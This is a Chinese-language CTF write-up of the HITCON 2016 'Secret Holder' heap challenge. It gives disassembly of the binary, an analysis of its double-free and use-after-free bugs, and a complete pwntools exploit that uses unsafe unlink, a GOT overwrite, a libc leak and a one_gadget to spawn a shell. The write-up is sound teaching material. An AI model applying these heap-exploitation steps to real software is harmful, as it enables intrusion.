6.1.21 pwn HITCONCTF2016 Secret_Holder

• 题目复现
• 漏洞利用

64 位程序，开启了 Canary 和 NX，默认开启 ASLR。

在 Ubuntu-16.04 上玩一下：

Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
1
Which level of secret do you want to keep?
1. Small secret
2. Big secret
3. Huge secret
1
Tell me your secret:
AAAA
1. Keep secret
2. Wipe secret
3. Renew secret
3
Which Secret do you want to renew?
1. Small secret
2. Big secret
3. Huge secret
1
Tell me your secret:
BBBB
1. Keep secret
2. Wipe secret
3. Renew secret
2
Which Secret do you want to wipe?
1. Small secret
2. Big secret
3. Huge secret
1

该程序运行我们输入 small、big、huge 三种 secret，且每种 secret 只能输入一个。通过 Renew 可以修改 secret 的内容。Wipe 用于删除 secret。

猜测三种 secret 应该是有不同的 chunk 大小，但程序没有我们常见的打印信息这种选项来做信息泄漏。

下面我们逐个来逆向这些功能。

[0x00400780]> pdf @ sub.Which_level_of_secret_do_you_want_to_keep_86d
/ (fcn) sub.Which_level_of_secret_do_you_want_to_keep_86d 442
|   sub.Which_level_of_secret_do_you_want_to_keep_86d ();
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x00400d6e (main)
|           0x0040086d      push rbp
|           0x0040086e      mov rbp, rsp
|           0x00400871      sub rsp, 0x20
|           0x00400875      mov rax, qword fs:[0x28]                   ; [0x28:8]=-1 ; '(' ; 40
|           0x0040087e      mov qword [local_8h], rax
|           0x00400882      xor eax, eax
|           0x00400884      mov edi, str.Which_level_of_secret_do_you_want_to_keep ; 0x400e28 ; "Which level of secret do you want to keep?"
|           0x00400889      call sym.imp.puts                          ; int puts(const char *s)
|           0x0040088e      mov edi, str.1._Small_secret               ; 0x400e53 ; "1. Small secret"
|           0x00400893      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400898      mov edi, str.2._Big_secret                 ; 0x400e63 ; "2. Big secret"
|           0x0040089d      call sym.imp.puts                          ; int puts(const char *s)
|           0x004008a2      mov edi, str.3._Huge_secret                ; 0x400e71 ; "3. Huge secret"
|           0x004008a7      call sym.imp.puts                          ; int puts(const char *s)
|           0x004008ac      lea rax, [local_10h]
|           0x004008b0      mov edx, 4
|           0x004008b5      mov esi, 0
|           0x004008ba      mov rdi, rax
|           0x004008bd      call sym.imp.memset                        ; void *memset(void *s, int c, size_t n)
|           0x004008c2      lea rax, [local_10h]
|           0x004008c6      mov edx, 4
|           0x004008cb      mov rsi, rax
|           0x004008ce      mov edi, 0
|           0x004008d3      mov eax, 0
|           0x004008d8      call sym.imp.read                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x004008dd      lea rax, [local_10h]
|           0x004008e1      mov rdi, rax
|           0x004008e4      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x004008e9      mov dword [local_14h], eax
|           0x004008ec      mov eax, dword [local_14h]
|           0x004008ef      cmp eax, 2                                 ; 2
|       ,=< 0x004008f2      je 0x400963                                 ; big secret
|       |   0x004008f4      cmp eax, 3                                 ; 3
|      ,==< 0x004008f7      je 0x4009bc                                 ; huge secret
|      ||   0x004008fd      cmp eax, 1                                 ; 1
|     ,===< 0x00400900      je 0x400907                                 ; small secret
|    ,====< 0x00400902      jmp 0x400a11
|    ||||   ; JMP XREF from 0x00400900 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
|    |`---> 0x00400907      mov eax, dword [0x006020c0]                 ; small_flag，表示 small secret 是否已存在
|    | ||   0x0040090d      test eax, eax
|    |,===< 0x0040090f      je 0x400916                                 ; small_flag 为 0 时
|   ,=====< 0x00400911      jmp 0x400a11
|   |||||   ; JMP XREF from 0x0040090f (sub.Which_level_of_secret_do_you_want_to_keep_86d)
|   ||`---> 0x00400916      mov esi, 0x28                              ; '(' ; 40
|   || ||   0x0040091b      mov edi, 1
|   || ||   0x00400920      call sym.imp.calloc                         ; calloc(1, 0x28) 为 small secret 分配空间
|   || ||   0x00400925      mov qword [0x006020b0], rax                 ; 把地址放到 [0x006020b0]
|   || ||   0x0040092c      mov dword [0x006020c0], 1                   ; 设置 small_flag 为 1
|   || ||   0x00400936      mov edi, str.Tell_me_your_secret:          ; 0x400e80 ; "Tell me your secret: "
|   || ||   0x0040093b      call sym.imp.puts                          ; int puts(const char *s)
|   || ||   0x00400940      mov rax, qword [0x006020b0]                ; [0x6020b0:8]=0
|   || ||   0x00400947      mov edx, 0x28                              ; '(' ; 40
|   || ||   0x0040094c      mov rsi, rax
|   || ||   0x0040094f      mov edi, 0
|   || ||   0x00400954      mov eax, 0
|   || ||   0x00400959      call sym.imp.read                           ; read(0, [0x006020b0], 0x28) 读入 small secret
|   ||,===< 0x0040095e      jmp 0x400a11
|   |||||   ; JMP XREF from 0x004008f2 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
|   ||||`-> 0x00400963      mov eax, dword [0x006020b8]                 ; big_flag，表示 big secret 是否已存在
|   ||||    0x00400969      test eax, eax
|   ||||,=< 0x0040096b      je 0x400972                                 ; big_flag 为 0 时
|  ,======< 0x0040096d      jmp 0x400a11
|  ||||||   ; JMP XREF from 0x0040096b (sub.Which_level_of_secret_do_you_want_to_keep_86d)
|  |||||`-> 0x00400972      mov esi, 0xfa0                             ; 4000
|  |||||    0x00400977      mov edi, 1
|  |||||    0x0040097c      call sym.imp.calloc                         ; calloc(1, 0xfa0) 为 big secret 分配空间
|  |||||    0x00400981      mov qword [0x006020a0], rax                 ; 把地址放到 [0x006020a0]
|  |||||    0x00400988      mov dword [0x006020b8], 1                   ; 设置 big_flag 为 1
|  |||||    0x00400992      mov edi, str.Tell_me_your_secret:          ; 0x400e80 ; "Tell me your secret: "
|  |||||    0x00400997      call sym.imp.puts                          ; int puts(const char *s)
|  |||||    0x0040099c      mov rax, qword [0x006020a0]                ; [0x6020a0:8]=0
|  |||||    0x004009a3      mov edx, 0xfa0                             ; 4000
|  |||||    0x004009a8      mov rsi, rax
|  |||||    0x004009ab      mov edi, 0
|  |||||    0x004009b0      mov eax, 0
|  |||||    0x004009b5      call sym.imp.read                           ; read(0, [0x006020a0], 0xfa0) 读入 big secret
|  |||||,=< 0x004009ba      jmp 0x400a11
|  ||||||   ; JMP XREF from 0x004008f7 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
|  ||||`--> 0x004009bc      mov eax, dword [0x006020bc]                 ; huge_flag，表示 huge secret 是否已存在
|  |||| |   0x004009c2      test eax, eax
|  ||||,==< 0x004009c4      je 0x4009c8                                 ; huge_flag 为 0 时
| ,=======< 0x004009c6      jmp 0x400a11
| |||||||   ; JMP XREF from 0x004009c4 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
| |||||`--> 0x004009c8      mov esi, 0x61a80
| ||||| |   0x004009cd      mov edi, 1
| ||||| |   0x004009d2      call sym.imp.calloc                         ; calloc(1, 0x61a80) 为 huge secret 分配空间
| ||||| |   0x004009d7      mov qword [0x006020a8], rax                 ; 把地址放到 [0x006020a8]
| ||||| |   0x004009de      mov dword [0x006020bc], 1                   ; 设置 huge_flag 为 1
| ||||| |   0x004009e8      mov edi, str.Tell_me_your_secret:          ; 0x400e80 ; "Tell me your secret: "
| ||||| |   0x004009ed      call sym.imp.puts                          ; int puts(const char *s)
| ||||| |   0x004009f2      mov rax, qword [0x006020a8]                ; [0x6020a8:8]=0
| ||||| |   0x004009f9      mov edx, 0x61a80
| ||||| |   0x004009fe      mov rsi, rax
| ||||| |   0x00400a01      mov edi, 0
| ||||| |   0x00400a06      mov eax, 0
| ||||| |   0x00400a0b      call sym.imp.read                           ; read(0, [0x006020a8], 0x61a80) 读入 huge secret
| ||||| |   0x00400a10      nop
| ||||| |   ; XREFS: JMP 0x00400902  JMP 0x00400911  JMP 0x0040095e  JMP 0x0040096d  JMP 0x004009ba  JMP 0x004009c6  
| `````-`-> 0x00400a11      mov rax, qword [local_8h]
|           0x00400a15      xor rax, qword fs:[0x28]
|       ,=< 0x00400a1e      je 0x400a25
|       |   0x00400a20      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00400a1e (sub.Which_level_of_secret_do_you_want_to_keep_86d)
|       `-> 0x00400a25      leave
\           0x00400a26      ret

果然该函数使用 calloc() 为三种 secret 分别了不同大小的 chunk，small secret 属于 small chunk，big secret 和 huge secret 属于 large chunk。在分配前，会检查对应的 secret 是否已经存在，即每种 chunk 只能有一个，chunk 的指针放在 .bss 段上。另外其实读入 secret 的逻辑还是有问题的，它没有处理换行符，也没有在字符串末尾加 \x00。

Wipe secret

[0x00400780]> pdf @ sub.Which_Secret_do_you_want_to_wipe_a27
/ (fcn) sub.Which_Secret_do_you_want_to_wipe_a27 247
|   sub.Which_Secret_do_you_want_to_wipe_a27 ();
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x00400d7a (main)
|           0x00400a27      push rbp
|           0x00400a28      mov rbp, rsp
|           0x00400a2b      sub rsp, 0x20
|           0x00400a2f      mov rax, qword fs:[0x28]                   ; [0x28:8]=-1 ; '(' ; 40
|           0x00400a3c      xor eax, eax
|           0x00400a3e      mov edi, str.Which_Secret_do_you_want_to_wipe ; 0x400e98 ; "Which Secret do you want to wipe?"
|           0x00400a43      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400a48      mov edi, str.1._Small_secret               ; 0x400e53 ; "1. Small secret"
|           0x00400a4d      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400a52      mov edi, str.2._Big_secret                 ; 0x400e63 ; "2. Big secret"
|           0x00400a57      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400a5c      mov edi, str.3._Huge_secret                ; 0x400e71 ; "3. Huge secret"
|           0x00400a61      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400a66      lea rax, [local_10h]
|           0x00400a6a      mov edx, 4
|           0x00400a6f      mov esi, 0
|           0x00400a77      call sym.imp.memset                        ; void *memset(void *s, int c, size_t n)
|           0x00400a7c      lea rax, [local_10h]
|           0x00400a80      mov edx, 4
|           0x00400a85      mov rsi, rax
|           0x00400a88      mov edi, 0
|           0x00400a8d      mov eax, 0
|           0x00400a92      call sym.imp.read                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00400a97      lea rax, [local_10h]
|           0x00400a9b      mov rdi, rax
|           0x00400a9e      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x00400aa3      mov dword [local_14h], eax
|           0x00400aa6      mov eax, dword [local_14h]
|           0x00400aa9      cmp eax, 2                                 ; 2
|       ,=< 0x00400aac      je 0x400ad3                                 ; big secret
|       |   0x00400aae      cmp eax, 3                                 ; 3
|      ,==< 0x00400ab1      je 0x400aee                                 ; huge secret
|      ||   0x00400ab3      cmp eax, 1                                 ; 1
|     ,===< 0x00400ab6      jne 0x400b08
|     |||   0x00400ab8      mov rax, qword [0x006020b0]                 ; small secret
|     |||   0x00400abf      mov rdi, rax
|     |||   0x00400ac2      call sym.imp.free                           ; free([0x006020b0]) 释放 small secret
|     |||   0x00400ac7      mov dword [0x006020c0], 0                   ; 设置 small_flag 为 0
|    ,====< 0x00400ad1      jmp 0x400b08
|    ||||   ; JMP XREF from 0x00400aac (sub.Which_Secret_do_you_want_to_wipe_a27)
|    |||`-> 0x00400ad3      mov rax, qword [0x006020a0]                ; [0x6020a0:8]=0
|    |||    0x00400ada      mov rdi, rax
|    |||    0x00400add      call sym.imp.free                           ; free([0x006020a0]) 释放 big secret
|    |||    0x00400ae2      mov dword [0x006020b8], 0                   ; 设置 big_flag 为 0
|    |||,=< 0x00400aec      jmp 0x400b08
|    ||||   ; JMP XREF from 0x00400ab1 (sub.Which_Secret_do_you_want_to_wipe_a27)
|    ||`--> 0x00400aee      mov rax, qword [0x006020a8]                ; [0x6020a8:8]=0
|    || |   0x00400af5      mov rdi, rax
|    || |   0x00400af8      call sym.imp.free                           ; free([0x006020a8]) 释放 huge secret
|    || |   0x00400afd      mov dword [0x006020bc], 0                   ; 设置 huge_flag 为 0
|    || |   0x00400b07      nop
|    || |   ; JMP XREF from 0x00400ab6 (sub.Which_Secret_do_you_want_to_wipe_a27)
|    || |   ; JMP XREF from 0x00400ad1 (sub.Which_Secret_do_you_want_to_wipe_a27)
|    || |   ; JMP XREF from 0x00400aec (sub.Which_Secret_do_you_want_to_wipe_a27)
|    ``-`-> 0x00400b08      mov rax, qword [local_8h]
|           0x00400b0c      xor rax, qword fs:[0x28]
|       ,=< 0x00400b15      je 0x400b1c
|       |   0x00400b17      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00400b15 (sub.Which_Secret_do_you_want_to_wipe_a27)
|       `-> 0x00400b1c      leave
\           0x00400b1d      ret

该函数在释放 secret 时，首先将对应的 chunk 释放掉，然后设置 flag 为 0。漏洞很明显，就是没有将 chunk 指针清空，存在悬指针，可能导致 use-after-free，然后在释放前，也没有检查 flag，可能导致 double-free。

[0x00400780]> pdf @ sub.Which_Secret_do_you_want_to_renew_b1e
/ (fcn) sub.Which_Secret_do_you_want_to_renew_b1e 330
|   sub.Which_Secret_do_you_want_to_renew_b1e ();
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x00400d86 (main)
|           0x00400b1e      push rbp
|           0x00400b1f      mov rbp, rsp
|           0x00400b22      sub rsp, 0x20
|           0x00400b26      mov rax, qword fs:[0x28]                   ; [0x28:8]=-1 ; '(' ; 40
|           0x00400b2f      mov qword [local_8h], rax
|           0x00400b33      xor eax, eax
|           0x00400b35      mov edi, str.Which_Secret_do_you_want_to_renew ; 0x400ec0 ; "Which Secret do you want to renew?"
|           0x00400b3a      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400b3f      mov edi, str.1._Small_secret               ; 0x400e53 ; "1. Small secret"
|           0x00400b44      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400b49      mov edi, str.2._Big_secret                 ; 0x400e63 ; "2. Big secret"
|           0x00400b4e      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400b53      mov edi, str.3._Huge_secret                ; 0x400e71 ; "3. Huge secret"
|           0x00400b58      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400b5d      lea rax, [local_10h]
|           0x00400b61      mov edx, 4
|           0x00400b66      mov esi, 0
|           0x00400b6b      mov rdi, rax
|           0x00400b6e      call sym.imp.memset                        ; void *memset(void *s, int c, size_t n)
|           0x00400b73      lea rax, [local_10h]
|           0x00400b77      mov edx, 4
|           0x00400b7c      mov rsi, rax
|           0x00400b7f      mov edi, 0
|           0x00400b84      mov eax, 0
|           0x00400b89      call sym.imp.read                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00400b8e      lea rax, [local_10h]
|           0x00400b92      mov rdi, rax
|           0x00400b95      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x00400b9a      mov dword [local_14h], eax
|           0x00400b9d      mov eax, dword [local_14h]
|           0x00400ba0      cmp eax, 2                                 ; 2
|       ,=< 0x00400ba3      je 0x400be9                                 ; big secret
|       |   0x00400ba5      cmp eax, 3                                 ; 3
|      ,==< 0x00400ba8      je 0x400c1f                                 ; huge secret
|      ||   0x00400baa      cmp eax, 1                                 ; 1
|     ,===< 0x00400bad      jne 0x400c52
|     |||   0x00400bb3      mov eax, dword [0x006020c0]                 ; small secret
|     |||   0x00400bb9      test eax, eax
|    ,====< 0x00400bbb      je 0x400be7                                 ; small_flag 为 0 时，函数返回
|    ||||   0x00400bbd      mov edi, str.Tell_me_your_secret:          ; 0x400e80 ; "Tell me your secret: "
|    ||||   0x00400bc2      call sym.imp.puts                          ; int puts(const char *s)
|    ||||   0x00400bc7      mov rax, qword [0x006020b0]                ; [0x6020b0:8]=0
|    ||||   0x00400bce      mov edx, 0x28                              ; '(' ; 40
|    ||||   0x00400bd3      mov rsi, rax
|    ||||   0x00400bd6      mov edi, 0
|    ||||   0x00400bdb      mov eax, 0
|    ||||   0x00400be0      call sym.imp.read                           ; read(0, [0x006020b0], 0x28) 否则读入 small secret
|   ,=====< 0x00400be5      jmp 0x400c52
|   |||||   ; JMP XREF from 0x00400bbb (sub.Which_Secret_do_you_want_to_renew_b1e)
|  ,=`----> 0x00400be7      jmp 0x400c52
|  || |||   ; JMP XREF from 0x00400ba3 (sub.Which_Secret_do_you_want_to_renew_b1e)
|  || ||`-> 0x00400be9      mov eax, dword [0x006020b8]                ; [0x6020b8:4]=0
|  || ||    0x00400bef      test eax, eax
|  || ||,=< 0x00400bf1      je 0x400c1d                                 ; big_flag 为 0 时，函数返回
|  || |||   0x00400bf3      mov edi, str.Tell_me_your_secret:          ; 0x400e80 ; "Tell me your secret: "
|  || |||   0x00400bf8      call sym.imp.puts                          ; int puts(const char *s)
|  || |||   0x00400bfd      mov rax, qword [0x006020a0]                ; [0x6020a0:8]=0
|  || |||   0x00400c04      mov edx, 0xfa0                             ; 4000
|  || |||   0x00400c09      mov rsi, rax
|  || |||   0x00400c0c      mov edi, 0
|  || |||   0x00400c11      mov eax, 0
|  || |||   0x00400c16      call sym.imp.read                           ; read(0, [0x006020a0], 0xfa0) 否则读入 big secret
|  ||,====< 0x00400c1b      jmp 0x400c52
|  ||||||   ; JMP XREF from 0x00400bf1 (sub.Which_Secret_do_you_want_to_renew_b1e)
| ,=====`-> 0x00400c1d      jmp 0x400c52
| ||||||    ; JMP XREF from 0x00400ba8 (sub.Which_Secret_do_you_want_to_renew_b1e)
| |||||`--> 0x00400c1f      mov eax, dword [0x006020bc]                ; [0x6020bc:4]=0
| |||||     0x00400c25      test eax, eax
| ||||| ,=< 0x00400c27      je 0x400c51                                 ; huge_flag 为 0 时，函数返回
| ||||| |   0x00400c29      mov edi, str.Tell_me_your_secret:          ; 0x400e80 ; "Tell me your secret: "
| ||||| |   0x00400c2e      call sym.imp.puts                          ; int puts(const char *s)
| ||||| |   0x00400c33      mov rax, qword [0x006020a8]                ; [0x6020a8:8]=0
| ||||| |   0x00400c3a      mov edx, 0x61a80
| ||||| |   0x00400c3f      mov rsi, rax
| ||||| |   0x00400c42      mov edi, 0
| ||||| |   0x00400c47      mov eax, 0
| ||||| |   0x00400c4c      call sym.imp.read                           ; read(0, [0x006020a8], 0x61a80) 否则读入 huge secret
| ||||| |   ; JMP XREF from 0x00400c27 (sub.Which_Secret_do_you_want_to_renew_b1e)
| ||||| `-> 0x00400c51      nop
| |||||     ; JMP XREF from 0x00400bad (sub.Which_Secret_do_you_want_to_renew_b1e)
| |||||     ; JMP XREF from 0x00400be5 (sub.Which_Secret_do_you_want_to_renew_b1e)
| |||||     ; JMP XREF from 0x00400be7 (sub.Which_Secret_do_you_want_to_renew_b1e)
| |||||     ; JMP XREF from 0x00400c1b (sub.Which_Secret_do_you_want_to_renew_b1e)
| |||||     ; JMP XREF from 0x00400c1d (sub.Which_Secret_do_you_want_to_renew_b1e)
| `````---> 0x00400c52      mov rax, qword [local_8h]
|           0x00400c56      xor rax, qword fs:[0x28]
|       ,=< 0x00400c5f      je 0x400c66
|       |   0x00400c61      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00400c5f (sub.Which_Secret_do_you_want_to_renew_b1e)
|       `-> 0x00400c66      leave
\           0x00400c67      ret

总结一下我们知道的东西：

• small secret: small chunk, 40 bytes
  • small_ptr: 0x006020b0
  • small_flag: 0x006020c0
• big secret: large chunk, 4000 bytes
  • big_ptr: 0x006020a0
  • big_flag: 0x006020b8
• huge secret: large chunk, 400000 bytes
  • huge_ptr: 0x006020a8
  • huge_flag: 0x006020bc

漏洞：

• double-free：在 free chunk 的位置 calloc 另一个 chunk，即可再次 free 这个 chunk
• use-after-free：由于 double-free，calloc 出来的那个 chunk 被认为是 free 的，但可以使用

有个问题是，400000 bytes 的 huge secret 连 top chunk 都不能满足，此时会调用 sysmalloc()，通过 brk() 或者 mmap() 为其分配空间，该函数首先判断是否满足 mmap() 的分配条件，即需求 chunk 的大小大于阀值 mp_.mmap_threshold，且此进程通过 mmap() 分配的总内存数量 mp_.n_mmaps 小于最大值 mp_.n_mmaps_max：

此时将使用 mmap() 来分配内存。然而这样得到的内存将与初始堆（由brk()分配，位于.bss段附近）的位置相距很远，难以利用。所以我们要想办法使用 brk() 来分配，好消息是由于性能的关系，在释放由 mmap() 分配的 chunk 时，会动态调整阀值 mp_.mmap_threshold 来避免碎片化，使得下一次的分配时使用 brk()：

void
__libc_free (void *mem)
{
    [...]
  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
      /* see if the dynamic brk/mmap threshold needs adjusting */
      if (!mp_.no_dyn_threshold
          && p->size > mp_.mmap_threshold
          && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
        {
          mp_.mmap_threshold = chunksize (p);
          mp_.trim_threshold = 2 * mp_.mmap_threshold;
          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
        }
      munmap_chunk (p);
      return;
    }

unsafe unlink

def unlink():
    keep(1)
    wipe(1)
    keep(2)     # big
    wipe(1)         # double free
    keep(1)     # small # overlapping
    keep(3)
    wipe(3)
    keep(3)     # huge
    payload  = p64(0)                   # fake prev_size
    payload += p64(0x21)                # fake size
    payload += p64(small_ptr - 0x18)    # fake fd
    payload += p64(small_ptr - 0x10)    # fake bk
    payload += p64(0x20)                # fake prev_size
    payload += p64(0x61a90)             # fake size
    renew(2, payload)
    wipe(3)         # unsafe unlink

因为在分配 large chunk 的时候，glibc 首先会调用函数 malloc_consolidate() 来清除 fastbin 中的块。所以 big secret 被放到了原 small secret 的位置，当再次分配 small secret 的时候就造成了堆块重叠。

首先制造 double free：

gdb-peda$ x/5gx 0x006020a0
0x6020a0:    0x0000000000603010    0x0000000000603040
0x6020b0:    0x0000000000603010    0x0000000100000001
0x6020c0:    0x0000000000000001
gdb-peda$ x/10gx 0x00603010-0x10
0x603000:    0x0000000000000000    0x0000000000000031  <-- small, big
0x603010:    0x0000000041414141    0x0000000000000000
0x603020:    0x0000000000000000    0x0000000000000000
0x603030:    0x0000000000000000    0x0000000000061a91  <-- huge
0x603040:    0x0000000041414141    0x0000000000000000

然后在 big secret 里布置一个 fake chunk：

gdb-peda$ x/5gx 0x006020a0
0x6020a0:    0x0000000000603010    0x0000000000603040
0x6020b0:    0x0000000000603010    0x0000000100000001
0x6020c0:    0x0000000000000001
gdb-peda$ x/10gx 0x00603010-0x10
0x603000:    0x0000000000000000    0x0000000000000031  <-- small, big
0x603010:    0x0000000000000000    0x0000000000000021  <-- fake chunk
0x603020:    0x0000000000602098    0x00000000006020a0    <-- fd, bk pointer
0x603030:    0x0000000000000020    0x0000000000061a90  <-- huge
0x603040:    0x0000000041414141    0x0000000000000000
gdb-peda$ x/gx 0x00602098 + 0x18
0x6020b0:    0x0000000000603010    <-- P->fd->bk = P
gdb-peda$ x/gx 0x006020a0 + 0x10
0x6020b0:    0x0000000000603010    <-- P->bk->fd = P

于是我们就获得了修改 .bss 段的能力。

def leak():
    global one_gadget
    payload  = "A" * 8
    payload += p64(elf.got['free']) # big_ptr -> free@got.plt
    payload += "A" * 8
    payload += p64(big_ptr)         # small_ptr -> big_ptr
    renew(1, payload)
    renew(2, p64(elf.plt['puts']))  # free@got.plt -> puts@plt
    renew(1, p64(elf.got['puts']))  # big_ptr -> puts@got.plt
    wipe(2)
    puts_addr = u64(io.recvline()[:6] + "\x00\x00")
    libc_base = puts_addr - libc.symbols['puts']
    one_gadget = libc_base + 0x4525a
    log.info("libc base: 0x%x" % libc_base)
    log.info("one_gadget address: 0x%x" % one_gadget)

修改 big_ptr 指向 free@got.plt，small_ptr 指向 big_ptr：

gdb-peda$ x/6gx 0x00602098
0x602098:    0x4141414141414141    0x0000000000602018
0x6020a8:    0x4141414141414141    0x00000000006020a0
0x6020b8:    0x0000000000000001    0x0000000000000001
gdb-peda$ x/gx 0x00602018
0x602018 <free@got.plt>:    0x00007ffff7a91a70

修改 free@got.plt 为 puts@plt，big_ptr 指向 puts@got.plt：

gdb-peda$ x/6gx 0x00602098
0x602098:    0x4141414141414141    0x0000000000602020
0x6020a8:    0x4141414141414141    0x00000000006020a0
0x6020b8:    0x0000000000000001    0x0000000000000001
gdb-peda$ x/gx 0x00602018
0x602018 <free@got.plt>:    0x00000000004006c0
gdb-peda$ x/gx 0x00602020
0x602020 <puts@got.plt>:    0x00007ffff7a7d5d0

此时释放 big secret，其实就是 puts(puts_addr)，通过偏移计算即可得到 libc 基址和 one-gadget 地址。

pwn

def pwn():
    payload  = "A" * 0x10
    payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
    renew(1, payload)
    renew(1, p64(one_gadget))       # puts@got.plt -> one_gadget
    io.interactive()

最后可以通过两次修改，将 puts@got.plt 修改为 one-gadget，获得 shell。

开启 ASLR，Bingo!!!

完整的 exp 如下：

#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./SecretHolder'], env={'LD_PRELOAD':'./libc-2.23.so'})
elf = ELF('SecretHolder')
libc = ELF('libc-2.23.so')
small_ptr = 0x006020b0
big_ptr = 0x006020a0
def keep(idx):
    io.sendlineafter("Renew secret\n", '1')
    io.sendlineafter("Huge secret\n", str(idx))
    io.sendafter("secret: \n", 'AAAA')
def wipe(idx):
    io.sendlineafter("Renew secret\n", '2')
    io.sendlineafter("Huge secret\n", str(idx))
def renew(idx, content):
    io.sendlineafter("Renew secret\n", '3')
    io.sendlineafter("Huge secret\n", str(idx))
    io.sendafter("secret: \n", content)
def unlink():
    keep(1)
    wipe(1)
    keep(2)     # big
    wipe(1)         # double free
    keep(1)     # small # overlapping
    keep(3)
    wipe(3)
    keep(3)     # huge
    payload  = p64(0)                   # fake prev_size
    payload += p64(0x21)                # fake size
    payload += p64(small_ptr - 0x18)    # fake fd
    payload += p64(small_ptr - 0x10)    # fake bk
    payload += p64(0x20)                # fake prev_size
    payload += p64(0x61a90)             # fake size
    renew(2, payload)
    wipe(3)         # unsafe unlink
def leak():
    global one_gadget
    payload  = "A" * 8
    payload += p64(elf.got['free']) # big_ptr -> free@got.plt
    payload += "A" * 8
    payload += p64(big_ptr)         # small_ptr -> big_ptr
    renew(1, payload)
    renew(2, p64(elf.plt['puts']))  # free@got.plt -> puts@plt
    renew(1, p64(elf.got['puts']))  # big_ptr -> puts@got.plt
    wipe(2)
    puts_addr = u64(io.recvline()[:6] + "\x00\x00")
    libc_base = puts_addr - libc.symbols['puts']
    one_gadget = libc_base + 0x4525a
    log.info("libc base: 0x%x" % libc_base)
    log.info("one_gadget address: 0x%x" % one_gadget)
def pwn():
    payload  = "A" * 0x10
    payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
    renew(1, payload)
    renew(1, p64(one_gadget))       # puts@got.plt -> one_gadget
    io.interactive()
if __name__ == "__main__":
    unlink()
    leak()